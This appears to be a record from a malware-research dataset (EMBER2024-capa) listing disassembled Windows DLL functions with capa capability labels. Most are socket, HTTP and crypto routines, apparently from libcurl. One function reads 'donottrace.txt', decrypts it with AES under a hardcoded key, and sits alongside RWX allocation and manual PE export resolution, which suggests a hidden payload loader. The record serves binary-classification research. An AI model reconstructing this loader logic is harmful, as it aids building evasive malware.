joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a190
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, dword [esi]
cmp dword [ecx + 4], 3
jne 0x1000a1ba
mov eax, dword [esi + 0xc]
test eax, eax
jne 0x1000a1ab
pop edi
pop esi
pop ebp
ret
push dword [ecx + 8]
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call eax
jmp 0x1000a1ed
mov eax, dword [esi + 8]
test eax, eax
jne 0x1000a1df
push 0x10054fd0
push dword [ecx + 8]
call fcn.1003a04b
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x1000a1df
pop edi
or eax, 0xffffffff
pop esi
pop ebp
ret
push eax
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call fcn.10041706
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x1000a20f
mov eax, dword [esi + 8]
test eax, eax
je 0x1000a209
push eax
call fcn.10039dbb
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x1000ad80
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1006512c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x18]
push edi
push ecx
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], 0x10
mov eax, dword [esi + 0x194]
or edi, 0xffffffff
mov ebx, dword [esi]
push ecx
push eax
mov dword [ebp - 0x1c], eax
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1000add8
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
push dword [ebp - 0x1c]
push esi
call fcn.10001f90
add esp, 8
cmp edi, 0xffffffff
jne 0x1000ae0d
push str.Error_accept__ing_server_connect
push ebx
call fcn.10023590
add esp, 8
mov eax, 0x1e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100375f3
mov esp, ebp
pop ebp
ret
push str.Connection_accepted_from_server_n
push ebx
call fcn.10023640
push 1
push edi
mov byte [esi + 0x260], 0
mov dword [esi + 0x194], edi
call fcn.1001e670
mov byte [esi + 0x1a1], 1
add esp, 0x10
mov eax, dword [ebx + 0x198]
test eax, eax
je 0x1000ae72
push 1
push edi
push dword [ebx + 0x19c]
call eax
add esp, 0xc
test eax, eax
je 0x1000ae72
push esi
call fcn.1000b2f0
add esp, 4
mov eax, 0x2a
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100375f3
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100375f3
mov esp, ebp
pop ebp
ret
Function at 0x1000d340
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
lea eax, [ecx - 0xc8]
mov edx, dword [edi]
cmp eax, 0x64
jb 0x1000d36f
push str.Couldnt_set_desired_mode
push edx
call fcn.10023590
add esp, 8
lea eax, [esi + 0x11]
pop edi
pop esi
pop ebp
ret
cmp ecx, 0xc8
je 0x1000d386
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push edx
call fcn.10023640
add esp, 0xc
mov eax, dword [ebp + 0x10]
cmp eax, 0x13
jne 0x1000d39d
push edi
call fcn.1000d0d0
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x14
jne 0x1000d3b1
push edi
call fcn.1000c160
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x15
jne 0x1000d3c5
push edi
call fcn.1000d0b0
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x16
jne 0x1000d3d5
push edi
call fcn.1000d220
mov esi, eax
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x1000fe10
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.1000fd90

Function at 0x10010d40
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x10065008]
mov edi, eax
add esp, 4
test edi, edi
jne 0x10010d6d
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], eax
cmp ebx, dword [esi + 0x10]
jbe 0x10010db7
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [ebp + 0xc]
push dword [edi + 4]
call eax
mov eax, dword [edi + 8]
add eax, dword [esi + 0xc]
push dword [edi + 4]
mov dword [ebp - 4], eax
push eax
mov eax, dword [esi + 8]
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov ecx, dword [edi + 4]
mov dword [ebp + 0x10], ebx
jmp 0x10010dbd
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [esi]
push ecx
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [ebp + 0x10]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x10010e1b
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], eax
nop dword [eax + eax]
movzx eax, byte [ebx]
xor al, 0x36
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebx]
lea ebx, [ebx + 1]
xor al, 0x5c
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub dword [ebp + 0x10], 1
jne 0x10010de0
mov ebx, dword [ebp - 8]
cmp ebx, dword [esi + 0x10]
jae 0x10010e47
mov eax, dword [esi + 4]
push 1
push str.6_s:_d
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x10055f1b
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x10010e20
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10011130
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10011158
cmp dword [esi + 0x48], 0
je 0x10011158
push 2
push 3
push esi
call fcn.100249c0
push dword [ebp + 0xc]
call fcn.100108e0
add esp, 0x10
jmp 0x10011167
push dword [ebp + 0xc]
call fcn.100108e0
add esp, 4
test esi, esi
je 0x10011178
cmp dword [esi + 0x48], 0
je 0x10011178
push 3
push esi
call fcn.10024a00
add esp, 8
pop esi
pop ebp
ret
Function at 0x10019a20
Capabilities:
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0xf0000000
push 1
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10019a52
lea eax, [esi + 4]
push eax
push 0
push 0
push 0x8003
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop esi
pop ebp
ret
Function at 0x10023920
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push eax
push edi
mov esi, dword [edi + eax*4 + 0x190]
call fcn.10023c90
add esp, 8
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_send]
mov ebx, eax
mov eax, dword [ebp + 0x18]
mov dword [eax], 0
cmp ebx, 0xffffffff
jne 0x100239a4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x1002397c
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebx
mov dword [eax], 0x51
xor eax, eax
pop ebp
ret
push esi
push edi
call fcn.100286e0
push eax
push str.Send_failure:__s
push dword [edi]
call fcn.10023590
mov eax, dword [edi]
add esp, 0x14
mov dword [eax + 0x468c], esi
mov eax, dword [ebp + 0x18]
mov dword [eax], 0x37
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret

Function at 0x10023c90
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov eax, edx
push esi
shl eax, 4
lea esi, [ecx + 0x1b4]
add esi, eax
mov eax, dword [ecx + 0x290]
push edi
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x3c], 3
je 0x10023d52
cmp dword [ecx + edx*4 + 0x1a4], 0x10023870
jne 0x10023d52
cmp dword [esi], 0
je 0x10023cd8
test edi, edi
je 0x10023d52
push ebx
mov ebx, dword [ecx + edx*4 + 0x190]
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call fcn.10022f10
add esp, 0x14
cmp eax, 0xffffffff
je 0x10023d51
test al, 1
je 0x10023d51
mov ecx, dword [esi]
test ecx, ecx
jne 0x10023d2e
push 0x8000
mov dword [esi + 4], 0x8000
call dword [0x10065008]
mov edi, dword [esi + 4]
mov ecx, eax
add esp, 4
mov dword [esi], ecx
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
test ecx, ecx
je 0x10023d4a
mov eax, dword [esi + 8]
push 0
push edi
add eax, ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10023d51
add dword [esi + 8], eax
pop ebx
pop edi
pop esi
pop ebp
ret
mov dword [esi + 4], 0
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x10023d60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x190]
test eax, eax
je 0x10023d89
push dword [esi + 0x11c]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call eax
add esp, 0x14
pop esi
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov eax, ecx
sub eax, 0
je 0x10023d9d
sub eax, 1
je 0x10023d9d
sub eax, 1
jne 0x10023dcc
push dword [esi + 0x118]
lea eax, [ecx*2 + 0x10058564]
push 1
add eax, ecx
push 2
push eax
call fcn.10043744
push dword [esi + 0x118]
push 1
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.10043744
add esp, 0x20
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10023de0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0xf0000000
xor esi, esi
lea eax, [ebp - 8]
push 0x18
push esi
push esi
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10023eb3
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x800c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10023ea8
mov edx, dword [ebp + 8]
mov ecx, edx
push edi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10023e32
push 0
sub ecx, edi
push ecx
push edx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
pop edi
test eax, eax
je 0x10023e9f
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 4]
push 0x6610
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x10023e9f
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push 0
push 1
push 0
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10023e91
mov ecx, dword [ebp + 0x14]
mov esi, 1
mov eax, dword [ebp + 0x10]
mov dword [ecx], eax
jmp 0x10023e96
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10023ec0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x1006512c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x5c
push eax
call fcn.10038de0
add esp, 8
mov byte [eax], 0
mov eax, str.donottrace.txt
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023f04
lea edi, [ebp - 0x108]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10023f14
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 3
push 0
mov ecx, eax
lea eax, [ebp - 0x108]
push 0
and ecx, 3
push accept
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x10065bb4], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x10065bbc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0x10065bc0
push dword [0x10065bbc]
mov dword [0x10065bb8], eax
push eax
push dword [0x10065bb4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x10065bb4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x10c]
push eax
push dword [0x10065bbc]
push dword [0x10065bb8]
push str.VP6xD1l641p5CrMKbgvnQoD20qUxdortl591yX0dNNGQeTiWITjLGfOgtBE1yS14WodB90cSQObezPtfScLWAIjNbqj31IFVZMdwWY12DfrWFyuZnqBPWXOc8gTndiPN
call fcn.10023de0
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.100375f3
mov esp, ebp
pop ebp
ret

Function at 0x10024050
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
test ecx, ecx
je 0x100240f8
mov edi, dword [ebp + 0xc]
cmp edi, 0x40
jb 0x100240f8
mov eax, 0x5a4d
cmp ax, word [ecx]
jne 0x100240f8
mov edx, dword [ecx + 0x3c]
lea eax, [edx + 0xf8]
cmp edi, eax
jb 0x100240f8
cmp dword [edx + ecx], 0x4550
jne 0x100240f8
mov eax, 0x14c
cmp ax, word [edx + ecx + 4]
jne 0x100240f8
test byte [edx + ecx + 0x16], 2
je 0x100240f8
movzx eax, word [edx + ecx + 0x14]
mov esi, 0xe0
cmp ax, si
jb 0x100240f8
movzx ebx, word [edx + ecx + 6]
add eax, 0xffffff20
movzx esi, ax
xor eax, eax
add esi, edx
add esi, ecx
xor ecx, ecx
cmp cx, bx
jae 0x100240ee
nop dword [eax]
movzx ecx, ax
lea edx, [ecx + ecx*4]
mov ecx, dword [esi + edx*8 + 0x10c]
add ecx, dword [esi + edx*8 + 0x108]
cmp ecx, edi
ja 0x100240f8
inc eax
cmp ax, bx
jb 0x100240d0
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x10024490
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0x40
push 0x3000
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x100244bb
push 0x40
push 0x3000
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
pop ebp
ret
Function at 0x100245f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jbe 0x100246a8
mov eax, dword [eax + edi + 0x78]
mov ecx, dword [ebp + 0xc]
add eax, edi
mov ebx, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
add ebx, edi
mov edx, dword [eax + 0x14]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edx
cmp ecx, edx
ja 0x10024636
mov eax, dword [ebx + ecx*4]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [eax + 0x20]
xor esi, esi
mov ecx, dword [eax + 0x24]
add edx, edi
mov ebx, dword [eax + 0x18]
add ecx, edi
mov dword [ebp - 8], edx
mov dword [ebp + 8], ecx
test ebx, ebx
je 0x100246a8
nop
mov eax, dword [edx + esi*4]
mov ecx, dword [ebp + 0xc]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10024678
test dl, dl
je 0x10024674
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10024678
add ecx, 2
add eax, 2
test dl, dl
jne 0x10024658
xor eax, eax
jmp 0x1002467d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1002468d
mov eax, dword [ebp + 8]
movzx eax, word [eax + esi*2]
cmp eax, dword [ebp - 4]
jbe 0x10024697
inc esi
cmp esi, ebx
jae 0x100246a8
mov edx, dword [ebp - 8]
jmp 0x10024650
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10029050
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
push 0x1005a500
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
test eax, eax
jne 0x10029070
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 0x1005a50c
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [ebp + 8]
mov ebx, eax
push 0x1005a51c
push esi
mov dword [ebp - 8], ebx
call fcn.10043aec
add esp, 8
test eax, eax
je 0x100290bc
test ebx, ebx
je 0x100290ac
push 8
push 0
push esi
call ebx
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x100290e5
push str.AddDllDirectory
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100290e5
push 0x800
push 0
push esi
call ebx
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [ebp - 4], edx
test edx, edx
je 0x10029190
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029101
sub ecx, ebx
lea eax, [edx + 1]
add eax, ecx
push eax
call dword [0x10065008]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10029186
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x10029186
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029132
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029150
sub ecx, edx
sub ecx, esi
add ecx, ebx
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x10029160
mov eax, dword [ebp - 8]
test eax, eax
je 0x1002917d
push 8
push 0
push ebx
call eax
jmp 0x10029184
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x1006500c]
add esp, 4
pop esi
pop ebx
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10029b00
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x1006512c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x194]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10029b4d
push eax
push str.WSAStartup_failed___d_
push esi
call fcn.10023590
add esp, 0xc
mov eax, 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100375f3
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x10029b75
shr eax, 8
test al, al
jne 0x10029b75
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100375f3
mov esp, ebp
pop ebp
ret
push str.insufficient_winsock_version_to_support_telnet
push esi
call fcn.10023590
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
mov eax, 2
pop esi
call fcn.100375f3
mov esp, ebp
pop ebp
ret
Function at 0x1002a3e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov byte [ebp + 0xa], al
lea eax, [ebp + 8]
mov edi, dword [esi]
push 3
push eax
push dword [esi + 0x190]
mov byte [ebp + 8], 0xff
mov byte [ebp + 9], bl
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1002a428
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push edi
call fcn.10023590
add esp, 0xc
push dword [ebp + 0x10]
push ebx
push str.SENT
push dword [esi]
call fcn.10029c90
add esp, 0x10
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1002a510
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0x1f
mov eax, dword [ebp + 8]
push ebx
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov ebx, dword [eax + 0x114]
jne 0x1002a65d
push edi
lea eax, [ebx + 0x1cb0]
lea edi, [ebx + 0x1eb0]
mov dword [edi], eax
cmp eax, edi
jae 0x1002a55a
mov byte [eax], 0xff
inc eax
mov dword [edi], eax
cmp eax, edi
jae 0x1002a55a
mov byte [eax], 0xfa
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002a55a
mov byte [eax], 0x1f
inc dword [edi]
movzx eax, word [ebx + 0x1ca8]
push esi
mov esi, dword [sym.imp.WS2_32.dll_htons]
push eax
call esi
movzx eax, ax
mov dword [ebp + 0xc], eax
movzx eax, word [ebx + 0x1caa]
push eax
call esi
mov edx, dword [ebp + 0xc]
movzx ecx, ax
mov eax, dword [edi]
cmp eax, edi
jae 0x1002a5c3
mov byte [eax], dl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002a5c3
mov byte [eax], dh
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002a5c3
mov byte [eax], cl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002a5c3
shr ecx, 8
mov byte [eax], cl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002a5c3
mov byte [eax], 0xff
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002a5c3
mov byte [eax], 0xf0
mov eax, dword [edi]
inc eax
mov dword [ebx + 0x1eb4], eax
lea esi, [ebx + 0x1cb0]
sub eax, esi
mov dword [edi], esi
mov edi, dword [ebp - 4]
sub eax, 2
push eax
lea eax, [ebx + 0x1cb2]
push eax
push 0x3e
push edi
call fcn.10029d90
add esp, 0x10
push 0
push 3
push esi
mov esi, dword [ebp + 8]
push dword [esi + 0x190]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1002a619
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push edi
call fcn.10023590
add esp, 0xc
push 4
lea eax, [ebx + 0x1cb3]
push eax
push esi
call fcn.1002a440
add esp, 0xc
lea eax, [ebx + 0x1cb7]
push 0
push 2
push eax
push dword [esi + 0x190]
call dword [sym.imp.WS2_32.dll_send]
pop esi
test eax, eax
jns 0x1002a65c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push edi
call fcn.10023590
add esp, 0xc
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002b700
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x1006512c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, dword [eax + 0x458]
mov ebx, dword [eax]
lea edi, [esi + 0x15c]
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x8c], 0x80
lea eax, [ebp - 0x84]
push eax
mov eax, dword [esi + 0x154]
push 0
add eax, 4
push eax
push dword [edi]
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [esi + 0x148], 0
mov dword [esi + 0x14c], eax
jne 0x1002b793
push dword [ebp - 0x8c]
lea eax, [ebp - 0x84]
push eax
lea eax, [esi + 0xc8]
push eax
call fcn.10038730
mov eax, dword [ebp - 0x8c]
add esp, 0xc
mov dword [esi + 0x148], eax
mov edx, dword [esi + 0x14c]
cmp edx, 4
jge 0x1002b7c6
push str.Received_too_short_packet
push ebx
call fcn.10023590
add esp, 8
mov dword [esi + 0xc], 7
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100375f3
mov esp, ebp
pop ebp
ret
push edi
call fcn.1002b300
movzx eax, ax
add esp, 4
mov dword [esi + 0xc], eax
dec eax
cmp eax, 5
ja case.0x1002b7df.1
jmp dword [eax*4 + 0x1002b904]
cmp edx, 4
jle case.0x1002b7df.4
push edi
call fcn.1002b2e0
movzx ecx, word [esi + 0x40]
add esp, 4
inc ecx
cmp cx, ax
jne case.0x1002b7df.4
lea eax, [edx - 4]
push eax
mov eax, dword [edi]
mov edi, dword [ebp - 0x88]
add eax, 4
push eax
push 1
push edi
call fcn.10023480
add esp, 0x10
mov dword [ebp - 0x88], eax
test eax, eax
je 0x1002b84d
push 5
push esi
call fcn.1002c040
mov eax, dword [ebp - 0x88]
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100375f3
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x14c]
sub eax, 4
cdq
add dword [ebx + 0x70], eax
adc dword [ebx + 0x74], edx
push dword [ebx + 0x74]
push dword [ebx + 0x70]
push ebx
call fcn.10020cf0
add esp, 0xc
jmp 0x1002b8d1
push edi
call fcn.1002b2e0
movzx eax, ax
mov dword [esi + 8], eax
mov eax, dword [edi]
add eax, 4
push eax
push 0x10054958
push ebx
call fcn.10023640
add esp, 0x10
jmp case.0x1002b7df.4
lea eax, [edx - 2]
push eax
mov eax, dword [edi]
add eax, 2
push eax
push esi
call fcn.1002b4b0
add esp, 0xc
test eax, eax
je case.0x1002b7df.4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100375f3
mov esp, ebp
pop ebp
ret
push str.Internal_error:_Unexpected_packet
push 0x100552a0
push ebx
call fcn.10023590
add esp, 0xc
mov edi, dword [ebp - 0x88]
push edi
call fcn.10021090
add esp, 4
test eax, eax
je 0x1002b7b3
push 5
push esi
call fcn.1002c040
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
mov eax, 0x2a
pop edi
pop esi
pop ebx
call fcn.100375f3
mov esp, ebp
pop ebp
ret